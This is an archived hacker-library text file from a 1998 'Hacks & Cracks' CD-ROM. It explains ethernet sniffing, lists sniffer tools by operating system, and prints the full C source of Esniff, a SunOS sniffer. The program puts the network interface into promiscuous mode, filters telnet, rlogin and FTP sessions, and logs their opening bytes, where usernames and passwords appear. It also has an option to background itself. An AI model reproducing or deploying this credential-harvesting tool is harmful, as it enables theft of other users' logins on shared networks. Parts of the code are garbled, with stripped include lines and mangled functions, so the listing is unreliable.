home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / ethernetsniffing.txt < prev    next >
Text File  |  1998-03-25  |  13KB  |  499 lines

  1. 17. What is ethernet sniffing?
  2.  
  3. Ethernet sniffing is listening (with software) to the raw ethernet device
  4. for packets that interest you. When your software sees a packet that fits
  5. certain criteria, it logs it to a file. The most common criteria for an
  6. interesting packet is one that contains words like "login" or "password."
  7. Many ethernet sniffers are available, here are a few that may be on your
  8. system now:
  9.  
  10. OS              Sniffer
  11. ~~              ~~~~~~~
  12. HP/UX           nettl (monitor) & netfmt (display)
  13.                          nfswatch        /* Available via anonymous ftp           */
  14. Irix            nfswatch        /* Available via anonymous ftp           */
  15.                          Etherman
  16. SunOS           etherfind
  17.                          nfswatch        /* Available via anonymous ftp           */
  18. Solaris         snoop
  19. DOS             ETHLOAD         /* Available via anonymous ftp as        */
  20.                                                   /* ethld104.zip                          */
  21.                          The Gobbler     /* Available via anonymous ftp           */
  22.                          LanPatrol
  23.                          LanWatch
  24.                 Netmon
  25.                          Netwatch
  26.                          Netzhack        /* Available via anonymous ftp at        */
  27.                                                   /* mistress.informatik.unibw-muenchen.de */
  28.                                                   /* /pub/netzhack.mac                     */
  29. Macintosh       Etherpeek
  30.  
  31. Here is source code for an ethernet sniffer:
  32.  
  33. /* Esniff.c */
  34.  
  35. #include
  36. #include
  37. #include
  38.  
  39. #include
  40. #include
  41. #include
  42. #include
  43. #include
  44. #include
  45. #include
  46.  
  47. #include
  48. #include
  49. #include
  50. #include
  51.  
  52. #include
  53. #include
  54. #include
  55. #include
  56. #include
  57. #include
  58. #include
  59. #include
  60. #include
  61. #include
  62.  
  63. #include
  64. #include
  65.  
  66. #define ERR stderr
  67.  
  68. char    *malloc();
  69. char    *device,
  70.            *ProgName,
  71.            *LogName;
  72. FILE    *LOG;
  73. int     debug=0;
  74.  
  75. #define NIT_DEV     "/dev/nit"
  76. #define CHUNKSIZE   4096        /* device buffer size */
  77. int     if_fd = -1;
  78. int     Packet[CHUNKSIZE+32];
  79.  
  80. void Pexit(err,msg)
  81. int err; char *msg;
  82. { perror(msg);
  83.   exit(err); }
  84.  
  85. void Zexit(err,msg)
  86. int err; char *msg;
  87. { fprintf(ERR,msg);
  88.   exit(err); }
  89.  
  90. #define IP          ((struct ip *)Packet)
  91. #define IP_OFFSET   (0x1FFF)
  92. #define SZETH       (sizeof(struct ether_header))
  93. #define IPLEN       (ntohs(ip->ip_len))
  94. #define IPHLEN      (ip->ip_hl)
  95. #define TCPOFF      (tcph->th_off)
  96. #define IPS         (ip->ip_src)
  97. #define IPD         (ip->ip_dst)
  98. #define TCPS        (tcph->th_sport)
  99. #define TCPD        (tcph->th_dport)
  100. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  101.  
  102. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  103.  
  104. #define MAXBUFLEN  (128)
  105. time_t  LastTIME = 0;
  106.  
  107. struct CREC {
  108.         struct CREC *Next,
  109.                           *Last;
  110.         time_t  Time;              /* start time */
  111.         struct in_addr SRCip,
  112.                                 DSTip;
  113.         u_int   SRCport,           /* src/dst ports */
  114.                    DSTport;
  115.         u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  116.         u_int   Length;            /* current data length */
  117.         u_int   PKcnt;             /* # pkts */
  118.         u_long  LASTseq;
  119. };
  120.  
  121. struct CREC *CLroot = NULL;
  122.  
  123. char *Symaddr(ip)
  124. register struct in_addr ip;
  125. { register struct hostent *he =
  126.          gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  127.  
  128.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  129. }
  130.  
  131. char *TCPflags(flgs)
  132. register u_char flgs;
  133. { static char iobuf[8];
  134. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  135.  
  136.   SFL(0,TH_FIN, 'F');
  137.   SFL(1,TH_SYN, 'S');
  138.   SFL(2,TH_RST, 'R');
  139.   SFL(3,TH_PUSH,'P');
  140.   SFL(4,TH_ACK, 'A');
  141.   SFL(5,TH_URG, 'U');
  142.   iobuf[6]=0;
  143.   return(iobuf);
  144. }
  145.  
  146. char *SERVp(port)
  147. register u_int port;
  148. { static char buf[10];
  149.   register char *p;
  150.  
  151.    switch(port) {
  152.         case IPPORT_LOGINSERVER: p="rlogin"; break;
  153.         case IPPORT_TELNET:      p="telnet"; break;
  154.         case IPPORT_SMTP:        p="smtp"; break;
  155.         case IPPORT_FTP:         p="ftp"; break;
  156.         default: sprintf(buf,"%u",port); p=buf; break;
  157.    }
  158.    return(p);
  159. }
  160.  
  161. char *Ptm(t)
  162. register time_t *t;
  163. { register char *p = ctime(t);
  164.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  165.   return(p);
  166. }
  167.  
  168. char *NOWtm()
  169. { time_t tm;
  170.   time(&tm);
  171.   return( Ptm(&tm) );
  172. }
  173.  
  174. #define MAX(a,b) (((a)>(b))?(a):(b))
  175. #define MIN(a,b) (((a)<(b))?(a):(b))
  176.  
  177. /* add an item */
  178. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  179.   register struct CREC *CLtmp = \
  180.            (struct CREC *)malloc(sizeof(struct CREC)); \
  181.   time( &(CLtmp->Time) ); \
  182.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  183.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  184.   CLtmp->SRCport = SPORT; \
  185.   CLtmp->DSTport = DPORT; \
  186.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  187.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  188.   CLtmp->PKcnt = 1; \
  189.   CLtmp->Next = CLroot; \
  190.   CLtmp->Last = NULL; \
  191.   CLroot = CLtmp; \
  192. }
  193.  
  194. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  195. register struct in_addr Sip,Dip;
  196. register u_int SP,DP;
  197. { register struct CREC *CLr = CLroot;
  198.  
  199.   while(CLr != NULL) {
  200.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  201.            IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  202.                   break;
  203.     CLr = CLr->Next;
  204.   }
  205.   return(CLr);
  206. }
  207.  
  208. #define ADDDATA_NODE(CL,DATA,LEN) { \
  209.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  210.  CL->Length += LEN; \
  211. }
  212.  
  213. #define PR_DATA(dp,ln) {    \
  214.   register u_char lastc=0; \
  215.   while(ln-- >0) { \
  216.         if(*dp < 32) {  \
  217.            switch(*dp) { \
  218.                   case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  219.                                     break; \
  220.                   case '\r': \
  221.                   case '\n': fprintf(LOG,"\n     : "); \
  222.                                     break; \
  223.                   default  : fprintf(LOG,"^%c", (*dp + 64)); \
  224.                                     break; \
  225.            } \
  226.         } else { \
  227.            if(isprint(*dp)) fputc(*dp,LOG); \
  228.            else fprintf(LOG,"(%d)",*dp); \
  229.         } \
  230.         lastc = *dp++; \
  231.   } \
  232.   fflush(LOG); \
  233. }
  234.  
  235. void END_NODE(CLe,d,dl,msg)
  236. register struct CREC *CLe;
  237. register u_char *d;
  238. register int dl;
  239. register char *msg;
  240. {
  241.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  242.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  243.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  244.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  245.                                     NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  246.    fprintf(LOG," DATA: ");
  247.     { register u_int i = CLe->Length;
  248.          register u_char *p = CLe->Data;
  249.          PR_DATA(p,i);
  250.          PR_DATA(d,dl);
  251.     }
  252.  
  253.    fprintf(LOG,"\n-- \n");
  254.    fflush(LOG);
  255.  
  256.    if(CLe->Next != NULL)
  257.     CLe->Next->Last = CLe->Last;
  258.    if(CLe->Last != NULL)
  259.     CLe->Last->Next = CLe->Next;
  260.    else
  261.     CLroot = CLe->Next;
  262.    free(CLe);
  263. }
  264.  
  265. /* 30 mins (x 60 seconds) */
  266. #define IDLE_TIMEOUT 1800
  267. #define IDLE_NODE() { \
  268.   time_t tm; \
  269.   time(&tm); \
  270.   if(LastTIMENext; \
  271.           if(CLe->Time ether_type);
  272.  
  273.    if(EtherType < 0x600) {
  274.         EtherType = *(u_short *)(cp + SZETH + 6);
  275.         cp+=8; pktlen-=8;
  276.    }
  277.  
  278.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  279.          return;
  280.  }
  281.  
  282.     /* ugh, gotta do an alignment :-( */
  283.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  284.  
  285.  ip = (struct ip *)Packet;
  286.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  287.     return;
  288.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  289.  
  290.  if(!( (TCPD == IPPORT_TELNET) ||
  291.           (TCPD == IPPORT_LOGINSERVER) ||
  292.           (TCPD == IPPORT_FTP)
  293.    )) return;
  294.  
  295.  { register struct CREC *CLm;
  296.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  297.    register u_char *p = (u_char *)Packet;
  298.  
  299.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  300.  
  301.  if(debug) {
  302.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  303.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  304.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  305.  }
  306.  
  307.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  308.  
  309.          CLm->PKcnt++;
  310.  
  311.          if(length>0)
  312.            if( (CLm->Length + length) < MAXBUFLEN ) {
  313.                 ADDDATA_NODE( CLm, p,length);
  314.            } else {
  315.                 END_NODE( CLm, p,length, "DATA LIMIT");
  316.            }
  317.  
  318.          if(TCPFL(TH_FIN|TH_RST)) {
  319.                 END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  320.          }
  321.  
  322.    } else {
  323.  
  324.          if(TCPFL(TH_SYN)) {
  325.             ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  326.          }
  327.  
  328.    }
  329.  
  330.    IDLE_NODE();
  331.  
  332.  }
  333.  
  334. }
  335.  
  336. /* signal handler
  337.  */
  338. void death()
  339. { register struct CREC *CLe;
  340.  
  341.     while(CLe=CLroot)
  342.            END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  343.  
  344.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  345.     fflush(LOG);
  346.     if(LOG != stdout)
  347.            fclose(LOG);
  348.     exit(1);
  349. }
  350.  
  351. /* opens network interface, performs ioctls and reads from it,
  352.  * passing data to filter function
  353.  */
  354. void do_it()
  355. {
  356.     int cc;
  357.     char *buf;
  358.     u_short sp_ts_len;
  359.  
  360.     if(!(buf=malloc(CHUNKSIZE)))
  361.            Pexit(1,"Eth: malloc");
  362.  
  363. /* this /dev/nit initialization code pinched from etherfind */
  364.   {
  365.     struct strioctl si;
  366.     struct ifreq    ifr;
  367.     struct timeval  timeout;
  368.     u_int  chunksize = CHUNKSIZE;
  369.     u_long if_flags  = NI_PROMISC;
  370.  
  371.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  372.            Pexit(1,"Eth: nit open");
  373.  
  374.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  375.            Pexit(1,"Eth: ioctl (I_SRDOPT)");
  376.  
  377.     si.ic_timout = INFTIM;
  378.  
  379.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  380.            Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  381.  
  382.     timeout.tv_sec = 1;
  383.     timeout.tv_usec = 0;
  384.     si.ic_cmd = NIOCSTIME;
  385.     si.ic_len = sizeof(timeout);
  386.     si.ic_dp  = (char *)&timeout;
  387.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  388.            Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  389.  
  390.     si.ic_cmd = NIOCSCHUNK;
  391.     si.ic_len = sizeof(chunksize);
  392.     si.ic_dp  = (char *)&chunksize;
  393.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  394.            Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  395.  
  396.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  397.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  398.     si.ic_cmd = NIOCBIND;
  399.     si.ic_len = sizeof(ifr);
  400.     si.ic_dp  = (char *)𝔦
  401.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  402.            Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  403.  
  404.     si.ic_cmd = NIOCSFLAGS;
  405.     si.ic_len = sizeof(if_flags);
  406.     si.ic_dp  = (char *)&if_flags;
  407.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  408.            Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  409.  
  410.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  411.            Pexit(1,"Eth: ioctl (I_FLUSH)");
  412.   }
  413.  
  414.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  415.            register char *bp = buf,
  416.                                   *bufstop = (buf + cc);
  417.  
  418.            while (bp < bufstop) {
  419.                   register char *cp = bp;
  420.                   register struct nit_bufhdr *hdrp;
  421.  
  422.                   hdrp = (struct nit_bufhdr *)cp;
  423.                   cp += sizeof(struct nit_bufhdr);
  424.                   bp += hdrp->nhb_totlen;
  425.                   filter(cp, (u_long)hdrp->nhb_msglen);
  426.            }
  427.     }
  428.     Pexit((-1),"Eth: read");
  429. }
  430.  /* Authorize your proogie,generate your own password and uncomment here */
  431. /* #define AUTHPASSWD "EloiZgZejWyms" */
  432.  
  433. void getauth()
  434. { char *buf,*getpass(),*crypt();
  435.   char pwd[21],prmpt[81];
  436.  
  437.     strcpy(pwd,AUTHPASSWD);
  438.     sprintf(prmpt,"(%s)UP? ",ProgName);
  439.     buf=getpass(prmpt);
  440.     if(strcmp(pwd,crypt(buf,pwd)))
  441.            exit(1);
  442. }
  443.     */
  444. void main(argc, argv)
  445. int argc;
  446. char **argv;
  447. {
  448.     char   cbuf[BUFSIZ];
  449.     struct ifconf ifc;
  450.     int    s,
  451.                  ac=1,
  452.                  backg=0;
  453.  
  454.     ProgName=argv[0];
  455.  
  456.  /*     getauth(); */
  457.  
  458.     LOG=NULL;
  459.     device=NULL;
  460.     while((acifr_name;
  461.     }
  462.  
  463.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  464.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  465.                   (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  466.  
  467.     if(!LOG)
  468.            LOG=stdout;
  469.  
  470.     signal(SIGINT, death);
  471.     signal(SIGTERM,death);
  472.     signal(SIGKILL,death);
  473.     signal(SIGQUIT,death);
  474.  
  475.     if(backg && debug) {
  476.             fprintf(ERR,"[Cannot bg with debug on]\n");
  477.             backg=0;
  478.     }
  479.  
  480.     if(backg) {
  481.            register int s;
  482.  
  483.            if((s=fork())>0) {
  484.                  fprintf(ERR,"[pid %d]\n",s);
  485.                  exit(0);
  486.            } else if(s<0)
  487.                  Pexit(1,"fork");
  488.  
  489.            if( (s=open("/dev/tty",O_RDWR))>0 ) {
  490.                          ioctl(s,TIOCNOTTY,(char *)NULL);
  491.                          close(s);
  492.            }
  493.     }
  494.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  495.     fflush(LOG);
  496.  
  497.     do_it();
  498. }
  499.